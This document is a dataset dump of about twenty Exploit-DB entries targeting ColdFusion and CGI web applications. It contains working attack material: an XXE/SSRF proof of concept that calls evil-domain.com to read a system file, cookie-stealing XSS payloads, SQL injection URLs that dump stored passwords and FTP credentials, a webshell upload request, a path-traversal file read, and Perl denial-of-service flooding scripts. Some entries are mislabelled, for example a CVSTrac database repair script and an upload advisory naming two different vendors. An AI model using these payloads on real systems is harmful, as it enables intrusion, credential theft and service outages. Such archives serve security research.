deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43045
Description: Mura CMS < 6.2 - Server-Side Request Forgery / XML External Entity Injection
Type: webapps
Platform: cfm
Date: 2017-10-24
Author: Anthony Cole

Exploit:
# Exploit Title: Mura CMS before 6.2 SSRF + XXE
# Date: 30-10-2017
# Exploit Author: Anthony Cole
# Vendor Homepage: http://www.getmura.com/
# Version: before 6.2
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2008 w/ Coldfusion 8
# CVE: CVE-2017-15639
# Category: webapps
 
1. Description
   
Any user can cause Mura CMS before version 6.2 to make a http request.  As an added bonus, the response from that HTTP GET request is passed directly to XmlParse().  It is possible to read a file from the file system using an XXE attack.
 
   
2. Proof of Concept

vulnerable file is on github, line 50:
https://github.com/blueriver/MuraCMS/blob/c8753ce80373eca302c6d9d8a02ff63a1d308991/tasks/feed/readRSS.cfm
 
http://www.target.tld/tasks/feed/readRSS.cfm?siteid=SITENAMEHERE&rssurl=http://evil-domain.com/file.xml&MAXRSSITEMS=500

Explanation of params
	siteid - The siteid can be obtained by viewing the html source code of the target home page and searching "siteid".
	rssurl - This is the URL you want Mura CMS to call out to.
	
To perform a XXE attack, you will need to stand up a web server: python -m SimpleHTTPServer 80
	
Then create a file:

<?xml version="1.0" ?>
<!DOCTYPE rss [
        <!ENTITY send SYSTEM "file:///c:\Windows\System32\drivers\etc\hosts">
]>

<rss version="2.0">
<channel>
        <title>title</title>
        <link>link</link>
        <description>description</description>
        <generator>http://www.getmura.com</generator>
        <pubDate>Thu, 28 Sep 2018 11:55:19 -0700</pubDate>
        <language>en-us</language>
        <item>
                <title>Item title</title>
                <link>http://host/</link>
                <guid isPermaLink="false">[PII_REDACTED]-[PII_REDACTED]</guid>
                <pubDate>Thu, 21 Sep 2018 00:00:01 -0700</pubDate>
                <description>&send;</description>
        </item>
</channel>
</rss>
   
3. Solution:

delete readRSS.cfm from the server.
Exploit-DB #26986
Description: PaperThin CommonSpot Content Server 4.5 - Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-12-23
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16071/info

PaperThin CommonSpot Content Server is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/loader.cfm?url=/[DIRPATH]/[DIRPATH]/email-login-info.cfm&errmsg=No%20user%20account
%20was%20found%20for%20that%20email%20address.%20%20Please%20try%20again.&bNewWindo
w=[XSS]
Exploit-DB #26920
Description: Quick Square Development Honeycomb Archive 3.0 - 'CategoryResults.cfm' Multiple SQL Injections
Type: webapps
Platform: cfm
Date: 2005-12-20
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15995/info

HoneyComb Archive is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/CategoryResults.cfm?div=7&cat=118&cat_parent=107&series=[SQL]
http://www.example.com/CategoryResults.cfm?div=7&cat=118&cat_parent=[SQL]
http://www.example.com/CategoryResults.cfm?div=7&cat=[SQL]
http://www.example.com/CategoryResults.cfm?div=[SQL]
Exploit-DB #27493
Description: RealestateZONE 4.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cfm
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17277/info

The realestateZONE script is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

/index.cfm?pg=278&redir=listings&ui=&bamin=%22%3Cscript%3Ealert('r0t')%3C/script%3E

/index.cfm?pg=278&redir=listings&ui=&bamin=0&bemin=%22%3Cscript%3Ealert('r0t')%3C/script%3E

/index.cfm?pg=278&redir=listings&ui=&bamin=0&bemin=0&pmin=%22%3Cscript%3Ealert('r0t')%3C/script%3E

/index.cfm?pg=278&redir=listings&ui=&bamin=0&bemin=0&pmin=0&pmax=99999999&zc=&city=&state=%22%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #25982
Description: Simple Message Board 2.0 beta1 - 'Forum.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-07-14
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/14266/info

A cross-site scripting vulnerability affects Simple Message Board. This issue is due to a failure of the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script>
Exploit-DB #25985
Description: Simple Message Board 2.0 beta1 - 'Search.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-07-14
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/14269/info

A cross-site scripting vulnerability affects Simple Message Board. This issue is due to a failure of the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script>
Exploit-DB #25984
Description: Simple Message Board 2.0 beta1 - 'Thread.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-07-14
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/14268/info

A cross-site scripting vulnerability affects Simple Message Board. This issue is due to a failure of the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script>
Exploit-DB #25983
Description: Simple Message Board 2.0 beta1 - 'User.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-07-14
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/14267/info

A cross-site scripting vulnerability affects Simple Message Board. This issue is due to a failure of the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script>
Exploit-DB #33948
Description: Site Manager 3.0 - 'id' SQL Injection
Type: webapps
Platform: cfm
Date: 2010-01-31
Author: Sec Attack Team

Exploit:
source: https://www.securityfocus.com/bid/39973/info

Site Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Site Manager 3.0 is vulnarable; other versions may also be affected.

http://www.example.com/page.cfm?id=null+and+100=99+union+select+1,2,3,4,concat(name,0x3a,password),6+from+author
http://www.example.com/page.cfm?id=null+and+100=99+union+select+1,2,3,4,conca(ftpserver,0x3a,domainname,0x3a,ftpusername,0x3a,ftppassword),6+from+webdata
Exploit-DB #47392
Description: Symantec Advanced Secure Gateway (ASG) / ProxySG - Unrestricted File Upload
Type: webapps
Platform: cfm
Date: 2019-09-16
Author: Pankaj Kumar Thakur

Exploit:
===========Security Intelligence============
# Vendor Homepage: adobe.com
# Version: 2018
# Tested on: Adobe ColdFusion 2018
# Exploit Author: Pankaj Kumar Thakur (Nepal)

==========[Table of Contents]==============
 * Overview
 * Detailed description
 * Thanks & Acknowledgements
 * References
 
==========[Vulnerability Information]========

 * Unrestricted file upload in Adobe ColdFusion 2018
 * CWE-434
 * Base Score: 6.8 MEDIUM 
 * Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
 
=========[ Overview]=========================
 
 * System Affected: Adobe ColdFusion 2018
 * Impact: Unrestricted file upload
 
=====[ Detailed description]=================
Unrestricted file upload vulnerability in the Symantec Advanced Secure Gateway (ASG) and ProxySG management consoles. A malicious appliance administrator can upload arbitrary malicious files to the management console and trick another administrator user into downloading and executing malicious code.

Request

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm
HTTP/1.1
Host: hostname:portno
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Content-Type: multipart/form-data;
Content-Length: 303
Connection: close
Upgrade-Insecure-Requests: 1

.
.

----------------------------[PII_REDACTED]8145
Content-Disposition: form-data; name="file"; filename="shell_file with extension"
Content-Type: image/jpeg

shell code
----------------------------[PII_REDACTED]8145
Content-Disposition: form-data; name="path"
.
.
After uploading shell, its located here

http://coldfusion:port/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell_file with extension

=====[ Thanks & Acknowledgements]========================================
* Acknowledged by Adobe
* Duplicate
 
 
 * https://nvd.nist.gov/vuln/detail/CVE-2016-10258
 * https://www.cvedetails.com/cve/CVE-2016-1713/
 * https://www.openwall.com/lists/oss-security/2016/01/12/4
 
=====[ EOF ]===========================================================
Exploit-DB #817
Description: AWStats 6.4 - Denial of Service
Type: dos
Platform: cgi
Date: 2005-02-14
Author: GHC

Exploit:
#!/usr/bin/perl
# 
# 
# Summarized the advisory www.ghc.ru GHC: /str0ke
#											
# [0] Exploitable example (raw log plugin):						
#    Attacker can read sensitive information						
#											
# http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog	
#											
# [1] Perl code execution. (This script)						
#											
# http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent		
#											
# [2] Arbitrary plugin including.							
# 											
# http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib
#											
# [3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).	
#    Every user can access debug function:						
#											
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1					
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2                                  
#											
# Be sure to change the $server + /cgi-bin location /str0ke				
#											

use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}

while () {
$rp = rand;
&ConnectServer;
}

# milw0rm.com [2005-02-14]
Exploit-DB #3223
Description: CVSTrac 2.0.0 - Defacement Denial of Service
Type: dos
Platform: cgi
Date: 2007-01-29
Author: Ralf S. Engelschall

Exploit:
##
##  cvstrack-resurrect.pl -- CVSTrac Post-Attack Database Resurrection
##  Copyright (c) 2007 Ralf S. Engelschall <rse@engelschall.com>
##

use DBI;           # requires OpenPKG perl-dbi
use DBD::SQLite;   # requires OpenPKG perl-dbi, perl-dbi::with_dbd_sqlite=yes
use DBIx::Simple;  # requires OpenPKG perl-dbix
use Date::Format;  # requires OpenPKG perl-time

my $db_file = $ARGV[0];

my $db = DBIx::Simple->connect(
   "dbi:SQLite:dbname=$db_file", "", "",
   { RaiseError => 0, AutoCommit => 0 }
);

my $eow = q{\x00\s.,:;?!)"'};

sub fixup {
   my ($data) = @_;
   if ($$data =~ m:/[^$eow]*/[^$eow]*'[^$eow]+:s) {
       $$data =~ s:(/[^$eow]*/[^$eow]*)('[^$eow]+):$1 $2:sg;
       return 1;
   }
   return 0;
}

foreach my $rec ($db->query("SELECT name, invtime, text FROM wiki")->hashes()) {
   if (&fixup(\$rec->{"text"})) {
       printf("++ adjusting Wiki page \"%s\" as of %s\n",
           $rec->{"name"}, time2str("%Y-%m-%d %H:%M:%S", -$rec->{"invtime"}));
       $db->query("UPDATE wiki SET text = ? WHERE name = ? AND invtime = ?",
           $rec->{"text"}, $rec->{"name"}, $rec->{"invtime"});
   }
}
foreach my $rec ($db->query("SELECT tn, description, remarks FROM ticket")->hashes()) {
   if (&fixup(\$rec->{"description"}) or &fixup(\$rec->{"remarks"})) {
       printf("++ adjusting ticket #%d\n",
           $rec->{"tn"});
       $db->query("UPDATE ticket SET description = ?, remarks = ? WHERE tn = ?",
           $rec->{"description"}, $rec->{"remarks"}, $rec->{"tn"});
   }
}
foreach my $rec ($db->query("SELECT tn, chngtime, oldval, newval FROM tktchng")->hashes()) {
   if (&fixup(\$rec->{"oldval"}) or &fixup(\$rec->{"newval"})) {
       printf("++ adjusting ticket [%d] change as of %s\n",
           $rec->{"tn"}, time2str("%Y-%m-%d %H:%M:%S", $rec->{"chngtime"}));
       $db->query("UPDATE tktchng SET oldval = ?, newval = ? WHERE tn = ? AND chngtime = ?",
           $rec->{"oldval"}, $rec->{"newval"}, $rec->{"tn"}, $rec->{"chngtime"});
   }
}
foreach my $rec ($db->query("SELECT cn, message FROM chng")->hashes()) {
   if (&fixup(\$rec->{"message"})) {
       printf("++ adjusting change [%d]\n",
           $rec->{"cn"});
       $db->query("UPDATE chng SET message = ? WHERE cn = ?",
           $rec->{"message"}, $rec->{"cn"});
   }
}

$db->commit();
$db->disconnect();

# milw0rm.com [2007-01-29]
Exploit-DB #24619
Description: EmuLive Server4 - Authentication Bypass / Denial of Service
Type: dos
Platform: cgi
Date: 2004-09-21
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11226/info

Reportedly EmuLive Server4 is affected by an authentication bypass vulnerability and a denial of service vulnerability. These issues are due to an access validation issue and a failure to handle exceptional conditions.

An attacker may leverage the authentication bypass issue to gain unauthorized access to the administrator scripts of the affected application, facilitating manipulation of various server settings. The denial of service issue may be exploited to cause the affected computer to freeze, denying service to legitimate users.

http://www.example.com//PUBLIC/ADMIN/INDEX.HTM

Note that the '//' after the 'http://www.example.com' is where a session ID would be presented, by providing no data between these slashes a NULL session ID is used to authenticate the attacker.
Exploit-DB #1175
Description: GTChat 0.95 Alpha - 'adduser' Remote Denial of Service
Type: dos
Platform: cgi
Date: 2005-08-23
Author: VTECin5th

Exploit:
# Use a high user # for best results. /str0ke

#!/usr/bin/perl
######################
# codez0red by VTECin5th #
# Feel free to modify/break this script #
# Crappy code is more effective =] #
# I accept no responsibility for misuse or abuse #
######################
# Usage: xxx.pl www.server.com /directory_to_chat/ #_of_users_to_create
######################
# Affected Software: GTChat .95
# Unaffected Software: GTChat .93
######################
use IO::Socket;
if (@ARGV < 2){
print "Usage:\n xxx.pl www.server.com /Path_to_GTChat/ #_of_users_to_create\n";
print "Example:\n xxx.pl www.serfer.com /GTChat/cgi-bin/ 5";
exit;
}
$dir = $ARGV[1];
$numero = $ARGV[2];
$host = $ARGV[0];
$host =~ s/http\:\/\///gi;
for ($i = 1; $i <= $numero; $i++) {
$rando = int(rand(234));
$randy = int(rand(12));
$whyThem = $randy . $rando . "@" . $randy . ".com";
$whyMe = "SoSorry" . $rando . $randy;
$lol = "$dir/chat.pl?action=register&name=$whyMe&[CREDENTIAL_REDACTED]=$whyMe&email=$whyThem&privateemail=0";
$ox=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>80,Proto=>'tcp') || die "Oh No! You broke teh server!";
print $ox "GET $lol HTTP/1.1\r\n";
print $ox "Accept: */*\r\n";
print $ox "Accept-Language: pt\r\n";
print $ox "Accept-Encoding: gzip, deflate\r\n";
print $ox "User-Agent: 1337 pwnz0r\r\n";
print $ox "Host: $host\r\n";
print $ox "Connection: Keep-Alive\r\n\r\n\r\n";
print "currently on: $whyMe \t ($i)\n";
# Please note, this does not verify whether or not the user is actually being created.
# I assume you know how to use this script.
}
print "Finished creating $numero users";
close($ox);

# milw0rm.com [2005-08-23]
Exploit-DB #1157
Description: GTChat 0.95 Alpha - Remote Denial of Service
Type: dos
Platform: cgi
Date: 2005-08-18
Author: RusH

Exploit:
#!/usr/bin/perl  

 use LWP::Simple;
    
 if (@ARGV < 3) 
{ 
    print "\nUsage: $0 [server] [path] [mode] [count for DoS]\n"; 
    print "sever -  URL chat\n"; 
    print "path  -  path to chat.pl\n"; 
    print "mode  -  poc or dos,\n"; 
    print "                    poc - simple check without DoS and exit,\n"; 
    print "                    dos - DoS, you must set count for requests in 4 argument.\n\n";
    exit (); 
}   
    $DoS      =     "dos";
    $POC      =     "poc"; 
    $server   =  $ARGV[0]; 
    $path     =  $ARGV[1]; 
    $mode     =  $ARGV[2]; 
    $count    =  $ARGV[3];
    print qq(
                                           ###################################
                                           # GTChat <= 0.95 Alpha remote DoS #
                                           #   tested on GTChat 0.95 Alpha   #
                                           # (c)oded by x97Rang 2005 RST/GHC #
                                           #    Respect: b1f, 1dt.w0lf, ed   #
                                           ################################### );
 if ($mode eq $POC)
{  
    print "\n\nTry read file /etc/resolv.conf, maybe remote system unix...\n";
    $URL = sprintf("http://%s%s/chat.pl?language=../../../../../../../../../../etc/resolv.conf%00 HTTP/1.0\nHost: %s\nAccept:*/*\nConnection:close\n\n",$server,$path,$server);  
    $content = get "$URL";
 if ($content =~ /(domain|sortlist|options|search|nameserver|dhclient)/) 
{   print "File read successfully, remote system is *nix and $server are VULNERABLE!\n"; exit(); }
 if ($content =~ /Fatal error/)
{ 
    print "File read failed, but *Fatal error* returned, $server MAYBE vulnerable, check all output:\n"; 
    print "=== OUTPUT ===============================================================================\n"; 
    print "\n$content\n"; 
    print "=============================================================================== OUTPUT ===\n";
    exit();
}
 else { print "Hmm.. if you arguments right, then $server NOT vulnerable, go sleep :)\n"; }
}
 if ($mode eq $DoS)
{
 if (!($count)) { print "\nNeed count for DoS requests, you don't set it, exit...\n"; exit() }
    print "\nSend $count DoS requests to $server...\n";
   $URL = sprintf("http://%s%schat.pl?language=chat.pl%00 HTTP/1.0\nHost: %s\nAccept:*/*\nConnection:close\n\n",$server,$path,$server);
 for ($count_ov = 0; $count_ov != $count; $count_ov++) { $content = get "$URL"; }
    print "Done, packets sended.\n";
}

# milw0rm.com [2005-08-18]
Exploit-DB #20753
Description: IBM Websphere/Net.Commerce 3 - CGI-BIN Macro Denial of Service
Type: dos
Platform: cgi
Date: 2001-04-13
Author: ET LoWNOISE

Exploit:
source: https://www.securityfocus.com/bid/2588/info

Net.Commerce is part of the Websphere platform of products distributed by IBM. Net.Commerce provides several versatile features to facilitate e-commerce, and features in performance and reliability.

A problem in the Net.Commerce package could allow a remote user to deny service to legitimate users of the service hosted by the Websphere server. This is due to the handling of long strings by the macro.d2w cgi included with a Net.Commerce installation. By supplying a long string of "%0a" characters to the CGI, the Websphere server ceases operation.

A remote user may use this vulnerability to crash the Websphere server, thus denying service to legitimate users. 

http://host/cgi-bin/ncommerce3/ExecMacro/macro.d2w/%0a%0a..(aprox 1000)..%0a
Exploit-DB #38882
Description: Icinga - cgi/config.c process_cgivars Function Off-by-One Read Remote Denial of Service
Type: dos
Platform: cgi
Date: 2013-12-16
Author: DTAG Group Information Security

Exploit:
source: https://www.securityfocus.com/bid/64363/info

Icinga is prone to multiple memory-corruption vulnerabilities due to an off-by-one condition.

Attackers may exploit these issues to gain access to sensitive information or crash the affected application, denying service to legitimate users. 

http://www.example.com/cgi-bin/config.cgi?b=aaaa[..2000 times]
Exploit-DB #21048
Description: John O'Fallon Responder.cgi 1.0 - Denial of Service
Type: dos
Platform: cgi
Date: 1999-04-09
Author: Epic

Exploit:
source: https://www.securityfocus.com/bid/3155/info

responder.cgi' is a free CGI shell script, written in C, for MacHTTP Server and other MacOS webserver products.

It is possible to cause a denial of service to MacHTTP webserver due to improper bounds checking in the script 'responder.cgi'. HTTP GET requests with an excessive number of characters will cause the server to freeze.

The webserver will need to be restarted to regain normal functionality. 

$ echo "GET
/cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | nc
machttp-server.com 80
Exploit-DB #20400
Description: McMurtrey/Whitaker & Associates Cart32 3.0/3.1/3.5 - Denial of Service
Type: dos
Platform: cgi
Date: 2000-11-10
Author: sozni

Exploit:
source : https://www.securityfocus.com/bid/1934/info

Cart32 is a shopping cart application for e-commerce enabled sites.

Cart32 is subject to a denial of service. When requesting a specially formed URL the application will cause the CPU utilization to spike to 100%. A restart of the application is required in order to gain normal functionality.


http://target/cgi-bin/c32web.exe/ShowProgress